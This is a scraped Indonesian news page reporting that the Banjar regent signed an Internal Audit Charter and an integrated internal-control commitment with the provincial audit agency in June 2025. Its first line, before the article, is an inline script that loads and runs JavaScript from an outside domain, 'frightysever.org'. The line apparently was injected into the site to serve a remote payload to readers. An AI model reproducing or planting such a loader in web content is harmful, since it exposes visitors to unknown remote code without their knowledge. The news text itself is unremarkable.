(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Bupati Banjar H Saidi Mansyur melakukan penandatanganan komitmen bersama persetujuan Internal Audit Charter (IAC) dan penguatan Sistem Pengendalian Intern Pemerintah (SPIP) Terintegrasi, di Aula Kantor Badan Pengawasan Keuangan dan Pembangunan (BPKP) Perwakilan Kalimantan Selatan, Senin (16/6/2025) pagi.
Ini menunjukkan Pemerintah Kabupaten Banjar menegaskan komitmennya dalam memperkuat tata kelola pemerintahan.
Dalam kegiatan itu Bupati Banjar H Saidi Mansyur, Sekretaris Daerah HM Hilman, Inspektur Daerah Kabupaten Banjar Muhammad Riza Dauly, Kepala Perwakilan BPKP Kalsel Ayi Riyanto serta seluruh Kepala Satuan Kerja Perangkat Daerah (SKPD) dan para camat di lingkungan Pemkab Banjar.
Baca juga: Tok! Vonis Penjara Seumur Hidup Prajurit TNI AL Jumran
Bupati Banjar H Saidi Mansyur menyatakan, bahwa penandatanganan ini merupakan bentuk komitmen bersama antara Pemkab Banjar dan BPKP untuk memperkuat roda pemerintahan dan pengawasan yang dilakukan Inspektorat.
“Komitmen ini penting untuk memperkuat tata kelola pemerintahan, khususnya dalam hal pengawasan dan akuntabilitas kinerja SKPD. Dengan ini, kami berharap transparansi dan akuntabilitas di Kabupaten Banjar dapat berjalan lebih baik,” ujar Saidi.
Baca juga: Jelang Vonis Jumran, Keluarga Juwita Bentang Spanduk “Harga Mati Hukum Mati”
Kepala Perwakilan BPKP Kalsel Ayi Riyanto menekankan, bahwa penandatanganan ini bertujuan memperkuat peran Aparat Pengawasan Intern Pemerintah (APIP) dalam mengawal pencapaian tujuan daerah.
“Dengan adanya komitmen bersama, maka APIP seperti BPKP dan Inspektorat dapat lebih mudah berkoordinasi dengan seluruh perangkat daerah. Hal ini akan memperlancar upaya pengawasan dan penguatan tata kelola,” jelas Ayi.
Baca juga: BEM-KM Faperta ULM Siapkan PKM di Desa Matang Batas Tapin
Sementara itu, Inspektur Daerah Kabupaten Banjar, Muhammad Riza Dauly, menyampaikan bahwa penandatanganan ini mencakup seluruh pimpinan SKPD dan camat, disaksikan oleh unsur pimpinan daerah sebagai bentuk komitmen dalam penyelenggaraan SPIP terintegrasi serta penguatan manajemen risiko strategis.
“Melalui SPIP dan IAC, kita bisa mengelola risiko-risiko yang berpotensi menghambat pencapaian tujuan pembangunan daerah. Apakah risiko itu perlu dimitigasi atau ditangani secara khusus, semuanya harus dikelola dengan baik demi tercapainya visi dan misi pembangunan Kabupaten Banjar lima tahun ke depan,” terang Riza.
Dalam kesempatan tersebut, juga dilakukan penandatanganan Internal Audit Charter (IAC) sebagai tindak lanjut dari amanah Monitoring Center for Prevention (MCP) Komisi Pemberantasan Korupsi (KPK) tahun 2025. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More
KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
This website uses cookies.